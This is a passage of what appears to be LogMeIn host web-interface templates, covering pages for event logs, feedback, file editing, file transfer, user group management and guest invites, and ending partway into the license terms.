<input type="text" name="bak" size="40">&nbsp;<input type="button" value="&MSG.DIALOG.BROWSE&" onclick="browseForFile(document.forms['clear'].bak.value, 'browseResult', '$MSG.DRIVE.SAVE$')">
</td>
<td>
&nbsp;&nbsp;
</td>
</tr>
<tr>
<td align="center" colspan="3">
<input type="submit" name="clear"  value="&MSG.ADMIN.EVENTS.CLEAR&">
<input type="submit" name="cancel" value="&MSG.DIALOG.CANCEL&" onClick="showDlg('clearwnd', 0); return false;">
</td>
</tr>
</table>
</form>
</center>
</div>

<script language="JavaScript">
var dialogShowing = false;
function showDlg(div, show) {
if ( (show && !dialogShowing) || !show ) {
dialogShowing = show;
winShow( div, show );
}
}
</script>

</body>
</html>
ijevtlogs.wml+<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<?ratmpl?>
<wml>
<card id="card1" title="&SRVNAME&"> 
<p align="center">
<b><?&ADMIN.EVENTS.TITLE?></b>&nbsp;%PAGE.CURRENT% of %PAGE.COUNT%
<br/>
</p>

<p>
<?action "evtlogs"
enum EVTLOGS?>
<anchor><?&EVTLOG.DISP?>
<go href="/evtinfo.wml" method="get">
<postfield name="log" value="<?&EVTLOG.NAME?>"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
<br/>
<?next
if WINERRNUM?>
<?&WINERRNUM?>: <?&WINERRMSG?>
<?endif?>
</p>

<p align="center">
<b><anchor><?&DIALOG.MAINMENU?>
<go href="/main.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></b>
</p>
</card>
</wml> 
'feedback.htmlU<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>

<?include "title.inc"?>
<?include "style.inc"?>

</head>

<body>

<div class="window" align="center">

<?if ACTIONS has "-feedbacksend-"?><?set CAN.SEND="1"?><?endif?>	

<?switch REQ.OP?>

<?case ""?>
<?// action "feedbackset" // set feedback limit to display. Not needed? ?>
<?usemacro WINERRDLG()?>


<script language="JavaScript">
function checkform(form) {
if (!form.feedbackbody.value.length) {
alert('$MSG.INFO.FEEDBACK.EMPTY.WARN$');
form.feedbackbody.focus();
return false;
} else 
return true;
}

function textLimit(field, maxlen) {
if (field.value.length > maxlen) {
field.value = field.value.substring(0, maxlen);
alert('$MSG.INFO.FEEDBACK.LIMIT.WARN$');
}
}	
</script>

<div class="titleBar" style="padding-bottom: 0px;" align="left"><?usemacro TITLEICON("info")?><span class="titleText">&DIALOG.FEEDBACK&</span></div>	

<form action="&TEMPLATE&" name="feedback" method="post" onsubmit="return checkform(this)">
<input type="hidden" name="op" value="send">
<fieldset>
<br><br>
<center>
&MSG.INFO.FEEDBACK.MESSAGE.HEAD&<br>
<!--&MSG.INFO.FEEDBACK.LIMIT&<br>-->
<a href="$RA.COM$/r.asp?r=support" target="_blank">&MSG.INFO.FEEDBACK.MESSAGE.LINK&</a>
<br><br>
<!--			<textarea name="feedbackbody" rows="20" cols="50" onkeyup="textLimit(this.form.feedbackbody, $FEEDBACK.MAXLENGTH$)"></textarea> -->
<textarea name="feedbackbody" rows="20" cols="50"></textarea>
</center>
<br><br>

</fieldset>

<br><br>
<table width="95%">
<tr>
<td align="left">
<input type="button" value="&DIALOG.CANCEL&" onclick="history.back()"> <!-- "location.replace('lmihelp.html')"> -->
</td>
<td align="right">
<input type="submit" value="&DIALOG.OK&">
</td>
</tr>
</table>
</form>
<script language="JavaScript">document.forms[0].feedbackbody.focus();</script>

<?case "send"?>

<?action "feedbacksend"?>
<?usemacro WINERRDLG()?>

<p align="center">
<b><?&MSG.INFO.FEEDBACK.THANKYOU?></b>
<br><br><br><br>
<input type="button" value="&DIALOG.BACK&" onclick="location.replace('lmihelp.html')">
</p>

<?endswitch?>

</div>
</body>
</html>մfile.htmlt<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<?
action "fileget"
if WINERRNUM = "2148007953" // too big?
if REQ.ALLOWDL // download allowed?
redirect "/download/?dir=" REQ.DIR "&file=" REQ.FILE
endif
endif
usemacro WINERRDLG()
?>
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText">&FILE.PATH& (&FILE.TYPE&)</span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%REQ.FILE%&favicon=ico_edit.gif&favargs=%TEMPLATE%%3fdir%3d&REQ.DIR&%26file=&REQ.FILE&" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?dir=%REQ.DIR%&file=%REQ.FILE%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>

<center>
<? if FILE.TYPE ?>
<form action="dir.html" method="post">
<input type="hidden" name="action" value="setdata">
<input type="hidden" name="dir" value="&REQ.DIR&">
<input type="hidden" name="token" value="&CSRFTOKEN&">
&NAME&: <input type="text" name="file" value="&REQ.FILE&" size="25">
<? if FILE.TYPE = "binary" ?>
<input type="hidden" name="type" value="&FILE.TYPE&">
<? else ?>
&TYPE&:
<select name="type" size="1">
<option value="text" <?selected FILE.TYPE="text"?>>ANSI text
<option value="utf8" <?selected FILE.TYPE="utf8"?>>Unicode (UTF-8)
<option value="ucle" <?selected FILE.TYPE="ucle"?>>Unicode (little endian)
<option value="ucbe" <?selected FILE.TYPE="ucbe"?>>Unicode (big endian)
</select>
<? endif ?>
<br>
<textarea cols="60" rows="30" name="data" wrap="<?if FILE.TYPE="binary"?>soft<?else?>off<?endif?>" style="width: 90%; height: 90%;" >&{XML}FILE.DATA&</textarea>
<br><br>

<input type="submit" value="Save">
<input type="button" value="&DIALOG.BACK&" onclick="window.location='dir.html?dir=%REQ.DIR%'">
</form>
<? endif ?>
</center>
</div>	

</body>

</html>
]mL'filexfer.html̷<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head>
<?include "setupdomain.html"?>
<title>&SRVNAME& - &MSG.FILEXFER.TITLE& - &PRODUCTNAME&</title>
<?include "style.inc"?>
<script type="text/javascript" src="/js/lmiborgsupport.js"></script>
<? if not REQ.TYPE ?>
<script type="text/javascript">
if (! LMIBrowserInfo.IsPluginsSupported()) {
<? if UITYPE = "LMI" ?>
window.location.replace("lmistart.html?startclient=02&" + Math.floor((Math.random()*10000)+1));
<? else ?>
window.location.replace("dashboard.html?startclient=02&" + Math.floor((Math.random()*10000)+1));
<? endif ?>
}
</script>
<? endif ?>
</head>
<?
if REQ.APP
include "filexfer_app.html"
else
include "filexfer_frame.html"
endif
?>

</html>
״filexfer.xmlF<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?
// set the default control type
if not REQ.TYPE
set REQ.TYPE = "activex"
endif
set session ISBORGCONNECTED = "Yes"
?>
<?action "appletssl"?>
<?action "filexferfree"?>
<?xml version="1.0" encoding="utf-8"?>
<fxfer>
<?include "filexfer_params.html"?>
</fxfer>
uQ"filexfer_app.html,<?ratmpl?>
<?
// set the default control type
if not REQ.TYPE
set REQ.TYPE = "activex"
endif
?>
<?include "activex.inc"?>
<?include "chkobject.inc"?>
<?
if REQ.APPLETWIDTH
set APPLETWIDTH = REQ.APPLETWIDTH
set APPLETHEIGHT = REQ.APPLETHEIGHT
else
action "appletsize"
endif
?>

<script type="text/javascript" src="/js/lmiborgsupport.js"></script>
<script type="text/javascript" src="/js/tracking.js"></script>

<script type="text/javascript">
function trackFileManager(arg)
{
<?// arg is an obj, for details see function callOnObjectLoaded in chkobject.inc ?>

<?// in case of static html the page is redirected, see "window.location = 'drives.html?...';" later, tracking may or may not work ?>
<?// depending on timing issues, track in drives.html and make sure not track static html here ?>
if (arg.reqType == "html")
return;

Tracking.trackAction(Tracking.reqTypeToApp(arg.reqType), kACT_FILE_MANAGER);
}
</script>

<?if not APPLETWIDTH?>
<script language="JavaScript"> 
function appletResize() {
var w_newWidth, w_newHeight, w_titleHeight;
w_titleHeight = 0;
var vContainer1 = document.getElementById("title1");
if (vContainer1)
w_titleHeight = vContainer1.offsetHeight;
w_newWidth =self.innerWidth; 
w_newHeight=self.innerHeight - w_titleHeight;
window.location.replace('&TEMPLATE&?type=java&appletwidth=' + w_newWidth + '&appletheight=' + w_newHeight +  "&app=1");
}
</script> 	
<?elseif not BRAND.LOGMEIN?>	
<script type="text/javascript">
var img;
var t = null;
var bRequestDisplayed = false;

function tryToLoad()
{
img = new Image();
img.onload = imgLoaded;
img.onerror = imgError;
img.src = "img/initiatechat.bmp?rnd=" + Math.random();
}

function imgLoaded()
{
if (!bRequestDisplayed)
{
bRequestDisplayed = true;

if (confirm("$MSG.CHAT.REQUESTED.YESNO$"))
{
window.location.replace("chat.html");
}
}

clearTimeout(t);
t = setTimeout("tryToLoad()", 5000);
}

function imgError()
{
clearTimeout(t);
t = setTimeout("tryToLoad()", 5000);
}

function startChatPoll()
{
imgError();
}
</script>
<?endif?>

<body <?if not APPLETWIDTH?>onload="appletResize();"<?else?>onload="chkObject('axControl', false, trackFileManager);<?if not BRAND.LOGMEIN?>startChatPoll();<?endif?>"<?endif?>>
<table class="window" width="100%" height="100%" style="height: 100%;">

<tr><td height="100%" colspan="2" align="center" <?if REQ.TYPE="activex"?>style="background-color: buttonface"<?endif?>>

<?if APPLETWIDTH?>
<?action "appletssl"?>
<?action "filexfer"?>
<?if WINERRNUM?>
<b>&WINERRMSG&</b>
<?else?>
<?if REQ.TYPE="activex"?>
<?usemacro OBJECTOPEN(ACTIVEX.CAB, "CLSID:03D19749-C5FA-4CCC-99AB-00AB2AF45ACD", APPLETWIDTH, APPLETHEIGHT, "axControl")?>
<?include "filexfer_params.html"?>
<?usemacro OBJECTCLOSE()?>
<?else?>		
<script language="JavaScript">
window.location = 'drives.html?track=yes';
</script>
<?endif?>
<?endif?>
<?endif?> 

</td></tr>
</table>
</body>
r&filexfer_frame.htmlL{<?ratmpl?>
<?
if REQ.APPLETWIDTH
set APPLETWIDTH = REQ.APPLETWIDTH
set APPLETHEIGHT = REQ.APPLETHEIGHT
else
action "appletsize"
endif
?>

<frameset rows="*,0" frameborder="0" framespacing="0" border="0" marginwidth="0" marginheight="0" scrolling="no">
<frame src="&TEMPLATE&?app=1&type=%REQ.TYPE%&appletwidth=%APPLETWIDTH%&appletheight=%APPLETHEIGHT%" frameborder="0" framespacing="0" border="0" marginwidth="0" marginheight="0" scrolling="no">
<frame src="empty.html" frameborder="0" framespacing="0" border="0" marginwidth="0" marginheight="0" scrolling="no">
</frameset>
Y(+(filexfer_params.html5<?ratmpl?>
<param name="HOST" value="&HTTP.HOST&"/>
<param name="PORT" value="&HTTP.PORT&"/>


<param name="PRODUCTNAME" value="&PRODUCTNAME&"/>
<param name="COPYRIGHT" value="&COPYRIGHT&"/>
<param name="machine" value="&SRVNAME&"/>
<param name="WHITELABELED" value="&WHITELABELED&"/>

<param name="SessionID" value="&RASID&"/>
<param name="ForceTunnel" value="&FORCETUNNEL&"/>
<param name="commv" value="4"/>
<param name="Feat" value="SAVEUSERPREFS:1|GETDRIVELIST:5|BATCHOPEN|FIFLAGS:&FIFLAGS&|GLBOPTS:&GLBOPTS&<?if RECYCLEBIN?>|RECYCLEBIN<?endif?><?if ISUNIX?>|UNIXPERMISSIONS:1<?endif?><?if SIMPLIFIEDFMUI = "1"?>|SIMPLIFIEDFMUI<?endif?>"/>
<param name="Lang" value="&LANG&"/>
<param name="Brand" value="&PRODUCTABBR&"/>
<param name="HostOS" value="&LMIOSTYPE&"/>
<param name="DEBUGLOG" value="&CFG.LOG.DEBUG&"/>

<?if BRAND.LOGMEIN?>
<param name="HostID" value="&CFG.WEBSVC.NUMHOSTID&"/>
<param name="WebSvcSID" value="&WEBSVCSID&"/>
<param name="HomeSite" value="&HOMESITE&"/>
<param name="HasCentral" value="&HASCENTRAL&"/>
<param name="IsMAH" value="&ISMAH&"/>
<param name="ProfileID" value="&PROFILEID&"/>
<?endif?>

<param name="Opts" value="&OPTFLAGS&"/>

<param name="SSLOK" value="<?if SSL?>1<?else?>0<?endif?>"/>
<?if CACERT?><param name="CACERT" value="&CACERT&"/><?endif?>
<?if RACERT?><param name="RACERT" value="&RACERT&"/><?endif?>
<?if RAWSSL?><param name="RAWSSL" value="&RAWSSL&"/><?endif?>
<?if RAWSSL?><param name="RAWSSLv2" value="&RAWSSL&"/><?endif?>

<?if LCWD?><param name="LCWD" value="&LCWD&"/><?endif?>
<?if RCWD?><param name="RCWD" value="&RCWD&"/><?endif?>

<?if IDLETIMEO?><param name="IdleTimeo" value="&IDLETIMEO&"/><?endif?>
<?if STALLTIMEO?><param name="StallTimeo" value="&STALLTIMEO&"/><?endif?>

<?if COMPRESSION?>
<param name="COMPRESSION" value="&COMPRESSION&"/>
<?endif?>

<?if ADAPTIVECOMPRESSION?>
<param name="ADAPTIVECOMPRESSION" value="&ADAPTIVECOMPRESSION&"/>
<?endif?>

<?if SINGLEUSER?>
<param name="SINGLEUSER" value="&SINGLEUSER&"/>
<?endif?>

<?if REQ.TYPE="activex"?>

<?if USE.NATUDP?>
<?action "appletnatudp"?>

<?if TRYNATUDP?>
<param name="NATUDP" value="1"/>
<param name="MMHOST" value="&MMHOST&"/>
<param name="MMPORT" value="&MMPORT&"/>
<param name="MMTIMEO" value="&MMTIMEO&"/>
<param name="MMSID" value="&MMSID&"/>
<param name="MMCID" value="&MMCID&"/>
<?if MMPORTMIN?>
<param name="MMPORTMIN" value="&MMPORTMIN&"/>
<param name="MMPORTMAX" value="&MMPORTMAX&"/>
<?endif?>
<?if NATUDPTAKEOVER?>
<param name="NATUDPTAKEOVER" value="2"/>
<?endif?>
<?endif?>
<?endif?>

<param name="LHISTORY" value="<?if LHISTORY?><?enum LHISTORY?>&HISTORY.PATH&|&HISTORY.TIME&|<?next?><?endif?>"/>
<param name="RHISTORY" value="<?if RHISTORY?><?enum RHISTORY?>&HISTORY.PATH&|&HISTORY.TIME&|<?next?><?endif?>"/>

<?endif?>
t#getjava.htmlG<?ratmpl?>
<div>
<table height="100%">
<tr>
<td>&nbsp;&nbsp;&nbsp;</td>
<td>
&MSG.REMCTRL.DISCONNECTPAGE.NOJAVA&
</td>
<td>&nbsp;&nbsp;&nbsp;</td>
</tr>
</table>
</div>KNVgroupadd.htmln<?ratmpl?>
<?nocache?>
<?include "macros.html"?>

<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body onload="document.forms.groupadd.NAME.select()" <?if LORES?>class="window"<?endif?>>
<?
if REQ.WINERRNUM
set WINERRNUM=REQ.WINERRNUM 
set WINERRMSG=REQ.WINERRMSG
endif

usemacro WINERRDLG()
?>

<?if not LORES?>
<div class="window">
<?endif?>
<div class="titleBar" />
<?usemacro TITLEICON("manage")?><span class="titleText">&ADMIN.USERMANAGER.ADDGROUP:REQ.TYPE&<?if REQ.MSG?> - &ADMIN.USERMANAGER:REQ.MSG&<?endif?></span>
</div>
<center>

<form name=groupadd action="groupedit.html" method=get>
<input type=hidden name=TYPE value="&REQ.TYPE&">
<input type=hidden name=OP value=add>
<?if not LORES?><fieldset><br><?endif?>
<table>
<tr>
<td align="right">$ADMIN.USERMANAGER.GROUP.NAME$:&nbsp;</td>
<td><input type=text name=NAME value="$REQ.NAME$" maxlength=256></td>
</tr>
<tr>
<td valign=top  align="right">&ADMIN.USERMANAGER.GROUP.COMMENT&:&nbsp;</td>
<td><textarea name=comment rows=4 cols=<?if LORES?>20<?else?>40<?endif?>>&{XML}REQ.COMMENT&</textarea></td>
</tr>
</table><br>
<?if not LORES?></fieldset><br><br><?endif?>

<input type=submit value="&DIALOG.APPLY&">
<input type=button value="&DIALOG.BACK&" onclick="location.replace('/userlist.html?tab=1')">
</form>
</center>
<?if not LORES?>
</div>
<?endif?>

</body>
</html>
$hxxgroupedit.html
<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?action "groupedit"?>

<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body <?if LORES?>class="window"<?endif?>>
<?
if OP="delete"
redirect "/userlist.html?type=" TYPE "&name=" NAME "&msg=" MSG
elseif OP="rename"
redirect "/grouprename.html?type=" TYPE "&name=" NAME "&winerrnum=" WINERRNUM "&winerrmsg=" WINERRMSG
elseif OP="add"
redirect "/groupadd.html?type=" TYPE "&name=" NAME "&comment=" COMMENT "&winerrnum=" WINERRNUM "&winerrmsg=" WINERRMSG
endif

usemacro WINERRDLG()
?>

<?if not LORES?>
<div class="window">
<?endif?>
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText">
<?if LORES?><?if TYPE="LOCAL"?>&ADMIN.USERMANAGER.LGROUPNAME&<?else?>&ADMIN.USERMANAGER.GGROUPNAME&<?endif?>
<?else?>&ADMIN.USERMANAGER.EDITGROUP:TYPE&<?if MSG?> - &ADMIN.USERMANAGER:MSG&<?endif?><?endif?>
</span></div>
<center>

<form action="&TEMPLATE&" method=get>
<input type=hidden name=NAME value="&NAME&">
<input type=hidden name=TYPE value="&TYPE&">
<input type=hidden name=OP value=update>

<table>
<?if LORES?>
<tr>
<td colspan=2>&ADMIN.USERMANAGER.GROUP.NAME&:&nbsp;&NAME&</td>
</tr>
<?endif?>
<tr>
<td valign=top <?if not LORES?>align=right<?endif?>>&ADMIN.USERMANAGER.GROUP.COMMENT&:</td><?if LORES?></tr><tr><?endif?>
<td><textarea name=comment rows=3 cols=<?if LORES?>27<?else?>40<?endif?>>&{XML}COMMENT&</textarea></td>
</tr>
<tr>
<td <?if not LORES?>align=left<?endif?>>&ADMIN.USERMANAGER.GROUP.MEMBERS&:</td>
<?if not LORES?><td>&ADMIN.USERMANAGER.GROUP.NONMEMBERS&:</td><?endif?>
</tr>
<tr>
<td>
<select name=DEL <?if LORES?>cols=27 size=5<?else?>size=10<?endif?> multiple>
<?if not LORES?><option value="">--------------------------------------</option><?endif?>
<?if MEMBERS?>
<?enum MEMBERS?>
<option value="&MEMBER.TYPE&&MEMBER.NAME&">(&ADMIN.USERMANAGER.GROUP.MTYPE:MEMBER.TYPE&) &MEMBER.NAME&</option>
<?next?>
<?endif?>
<?if not LORES?><option value="">--------------------------------------</option><?endif?>
</select>
</td>
<?if LORES?></tr><tr><td>&ADMIN.USERMANAGER.GROUP.NONMEMBERS&:</td></tr><tr><?endif?>
<td>
<select name=ADD <?if LORES?>cols=27 size=5<?else?>size=10<?endif?> multiple>
<?if not LORES?><option value="">--------------------------------------</option><?endif?>
<?if NONMEMBERS?>
<?enum NONMEMBERS?>
<option value="&NONMEMBER.TYPE&&NONMEMBER.NAME&">(&ADMIN.USERMANAGER.GROUP.MTYPE:NONMEMBER.TYPE&) &NONMEMBER.NAME&</option>
<?next?>
<?endif?>
<?if not LORES?><option value="">--------------------------------------</option><?endif?>
</select>
</td>
</tr>
</table>
<?if not LORES?><br><?endif?>
<table>
<tr>
<?if ACCESS.W?>
<td><input type=submit value="&DIALOG.ADD&/&DIALOG.REMOVE&"></td>
<td><input type=button value="&ADMIN.USERMANAGER.BTNRENAME&" onclick="location.replace('/grouprename.html?type=$TYPE$&name=$NAME$')"></td>
<?endif?>
<?if ACCESS.D?>
<?if LORES?>
<td><input type=submit value="&DIALOG.DELETE&" onclick="this.form.OP.value='delete'; return confirm('$ADMIN.USERMANAGER.CONFIRMDELGROUPSHORT$');"></td>
<?else?>
<td><input type=submit value="&DIALOG.DELETE&" onclick="this.form.OP.value='delete'; return confirm('$ADMIN.USERMANAGER.CONFIRMDELGROUP$');"></td>
<?endif?>
<?endif?>
<td><input type=button value="&DIALOG.BACK&" onclick="location.replace('/userlist.html?tab=1')"></td>
</tr>
</table>
</form>
</center>
<?if not LORES?>
</div>
<?endif?>
</body>
</html>
xi grouprename.html
<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body <?if LORES?>class="window"<?endif?> onload="document.forms.rename.newname.select()">
<?if not LORES?>
<div class="window">
<?endif?>
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText">
<?if LORES?>
&ADMIN.USERMANAGER.TITLE&
<?else?>
&ADMIN.USERMANAGER.GROUP.RENAME:REQ.TYPE&<?if REQ.MSG?> - &ADMIN.USERMANAGER:REQ.MSG&<?endif?>
<?endif?>
</span></div>
<center>
<?
if REQ.WINERRNUM
set WINERRNUM=REQ.WINERRNUM
set WINERRMSG=REQ.WINERRMSG
endif

usemacro WINERRDLG()
?>

<form name=rename action="groupedit.html" method=get>
<input type=hidden name=name value="&REQ.NAME&">
<input type=hidden name=type value="&REQ.TYPE&">
<input type=hidden name=op value=rename>

<fieldset><br><br>
<table>
<?if LORES?>
<tr>
<td>&ADMIN.USERMANAGER.GROUP.NAME&:&nbsp;&REQ.NAME&</td>
</tr>
<?endif?>
<tr>
<td>&ADMIN.USERMANAGER.NEWNAME&:<?if LORES?>&nbsp;<?else?></td>
<td><?endif?><input type=text name=newname value="&REQ.NAME&" maxlength=256 <?if LORES?>size=17<?endif?>></td>
</tr>
</table><br><br>
</fieldset><?if not LORES?><br><br><?endif?>
<table>
<tr>
<td><input type=submit value="&DIALOG.APPLY&"></td>
<td><input type=button value="&DIALOG.BACK&" onclick="location.replace('/groupedit.html?type=$REQ.TYPE$&name=$REQ.NAME$')"></td>
</tr>
</table>
</form>
</center>
<?if not LORES?>
</div>
<?endif?>
</body>
</html>
U guestinvite.html1<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?if REQ.GI = "start"
action "guestinvite"
if WINERRNUM
usemacro WINERRDLG()
endif
endif?>
<?action "guestinvitecheck"?>
<style type="text/css">
h2 { color: black; font: bold 18px tahoma; padding: 0px 0px 3px 0px; margin: 0px; } 
.h3text {font-family: arial; font-size: 13px; font-weight: bold; margin: 0px; margin-bottom: 5px}
.datatable {border: 1px solid #CCCCCC; width: 100%; background-color: #FDFDFD} 
.datatable TD {height: 30px; padding-left: 10px} 
.datatable .header TD {font-size: 13px; font-weight: bold} 
</style>
</head>

<body>
<div class="window" style="width:auto">

<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("guestinvite")?><span class="titleText">&MSG.RAGUI.GUESTINVITE.START.CAPTION&</span></div>

<div class="clientArea" style="padding: 20px; overflow: visible;">

<table width="95%"><tr><td valign="top">		    
<div class=h3text>&MSG.RAGUI.GUESTINVITE.EDUPAGE.HEADER&</div> 
<div style="padding-bottom: 20px"><b>&MSG.DIALOG.NOTE&:</b>&nbsp;&MSG.RAGUI.GUESTINVITE.EDUPAGE.1& </div> 

&MSG.RAGUI.GUESTINVITE.EDUPAGE.2&: <ul>
<li>&MSG.RAGUI.GUESTINVITE.EDUPAGE.3&
<li>&MSG.RAGUI.GUESTINVITE.EDUPAGE.4&
<li>&MSG.RAGUI.GUESTINVITE.EDUPAGE.5&
</ul>
&MSG.RAGUI.GUESTINVITE.EDUPAGE.6&
<br> 
<br> 
<br> 

<div class=h3text>&MSG.RAGUI.GUESTINVITE.EDUPAGE.7&</div>
&MSG.RAGUI.GUESTINVITE.EDUPAGE.8&<br>
<br>
<?if BRAND.LOGMEIN?>
<?if not ISMAC?>
<?if LANG="ja"?>
<img src="/img/gi_lmi_education_ja_new.png" width="389" height="279">
<?elseif LANG="de"?>
<img src="/img/gi_lmi_education_de_new.png" width="389" height="279">
<?else?>
<img src="/img/gi_lmi_education_en_new.png" width="389" height="279">
<?endif?>
<?else?>
<img src="/img/gi_lmi_education_en_mac.png" width="218" height="174">
<?endif?>
<?else?>
<img src="/img/gi_ra-education.png">
<?endif?>

</td> 			
<?if BRAND.LOGMEIN?>
<td valign="top" style="width: 160px; padding-left: 12px;"> 
<table class="datatable" cellspacing="0" cellpadding="0" border=0> 
<tr class="header"><td colspan="2">&MSG.RAGUI.GUESTINVITE.INTRO.1&</td></tr>
<tr><td width="10%"><img src="/img/lmi_intro_gi_collab.gif" width="30" height="30"></td><td style="white-space: nowrap">&MSG.RAGUI.GUESTINVITE.INTRO.2&</td></tr>
<tr><td><img src="/img/lmi_intro_gi_conf.gif" width="30" height="30"></td><td style="white-space: nowrap">&MSG.RAGUI.GUESTINVITE.INTRO.3&</td></tr>
<tr><td><img src="/img/lmi_intro_gi_demo.gif" width="24" height="24"></td><td style="white-space: nowrap">&MSG.RAGUI.GUESTINVITE.INTRO.4&</td></tr>
<tr><td><img src="/img/lmi_intro_gi_training.gif" width="24" height="24"></td><td style="white-space: nowrap">&MSG.RAGUI.GUESTINVITE.INTRO.5&</td></tr>
<tr><td><img src="/img/lmi_intro_gi_support.gif" width="24" height="24"></td><td style="white-space: nowrap">&MSG.RAGUI.GUESTINVITE.INTRO.6&</td></tr>
<tr><td colspan="2" align="right">&MSG.RAGUI.GUESTINVITE.INTRO.7&</td></tr>
</table>                    
</td>
<?endif?>
</tr>
</table> 

</div>
</div> 			

</body>
</html>
q"help\license.htmlSSX<html>
<head><?include "setupdomain.html"?>
<p align="justify"><span style="background-color:#FFFFFF;font-family:Arial;font-size:8pt;">Copyright &#169; 2017 LogMeIn, Inc. All rights reserved.</span></p>

<head>
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
<meta name=Generator content="Microsoft Word 14 (filtered)">
<style>
<!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;}
@font-face
{font-family:Tahoma;
panose-1:2 11 6 4 3 5 4 4 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin-top:0in;
margin-right:0in;
margin-bottom:10.0pt;
margin-left:0in;
line-height:115%;
font-size:11.0pt;
font-family:"Calibri","sans-serif";}
h3
{mso-style-link:"Heading 3 Char";
margin-top:10.0pt;
margin-right:0in;
margin-bottom:0in;
margin-left:0in;
margin-bottom:.0001pt;
page-break-after:avoid;
font-size:12.0pt;
font-family:"Cambria","serif";
color:#4F81BD;}
a:link, span.MsoHyperlink
{color:blue;
text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
{color:purple;
text-decoration:underline;}
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
{mso-style-link:"Balloon Text Char";
margin:0in;
margin-bottom:.0001pt;
font-size:8.0pt;
font-family:"Tahoma","sans-serif";}
p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph
{margin-top:0in;
margin-right:0in;
margin-bottom:10.0pt;
margin-left:.5in;
line-height:115%;
font-size:11.0pt;
font-family:"Calibri","sans-serif";}
p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst
{margin-top:0in;
margin-right:0in;
margin-bottom:0in;
margin-left:.5in;
margin-bottom:.0001pt;
line-height:115%;
font-size:11.0pt;
font-family:"Calibri","sans-serif";}
p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle
{margin-top:0in;
margin-right:0in;
margin-bottom:0in;
margin-left:.5in;
margin-bottom:.0001pt;
line-height:115%;
font-size:11.0pt;
font-family:"Calibri","sans-serif";}
p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast
{margin-top:0in;
margin-right:0in;
margin-bottom:10.0pt;
margin-left:.5in;
line-height:115%;
font-size:11.0pt;
font-family:"Calibri","sans-serif";}
span.Heading3Char
{mso-style-name:"Heading 3 Char";
mso-style-link:"Heading 3";
font-family:"Cambria","serif";
color:#4F81BD;
font-weight:bold;}
span.BalloonTextChar
{mso-style-name:"Balloon Text Char";
mso-style-link:"Balloon Text";
font-family:"Tahoma","sans-serif";}
span.msoIns
{mso-style-name:"";
text-decoration:underline;
color:teal;}
span.msoDel
{mso-style-name:"";
text-decoration:line-through;
color:red;}
.MsoChpDefault
{font-family:"Calibri","sans-serif";}
.MsoPapDefault
{margin-bottom:10.0pt;
line-height:115%;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;}
div.WordSection1
{page:WordSection1;}
/* List Definitions */
ol
{margin-bottom:0in;}
ul
{margin-bottom:0in;}
-->
</style>

</head>

<body lang=HU link=blue vlink=purple>

<div class=WordSection1>

<div style='border:none;border-bottom:solid windowtext 1.5pt;padding:0in 0in 1.0pt 0in'>

<p class=MsoNormal style='border:none;padding:0in'><b><span lang=EN-US
style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>Terms
&amp; Conditions of Use for LogMeIns Cloud Services</span></b></p>

</div>

<p class=MsoNormal style='margin-bottom:0in;margin-bottom:.0001pt;text-align:
justify;line-height:normal'><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>IMPORTANT - PLEASE READ THESE TERMS AND CONDITIONS
CAREFULLY WHEN PURCHASING OR ACCESSING THE LISTED SERVICES AND/OR SOFTWARE FROM
LOGMEIN, INC. (&quot;LMI INC.&quot;) OR ITS WHOLLY OWNED SUBSIDIARY, LOGMEIN
IRELAND LTD. (&quot;LMI IRELAND&quot;), AS APPLICABLE, (LMI INC. AND LMI
IRELAND, TOGETHER REFERRED TO HEREIN AS &quot;LMI&quot;). These terms and
conditions (&quot;Terms&quot;) govern the use and licensing by LMI of the
following LogMeIn cloud-based service(s): AppGuru, LogMeIn Backup<sup></sup>,
BoldChat<sup></sup>, LogMeIn<sup></sup> Central<sup>TM</sup>, Cubby<sup>TM</sup>,
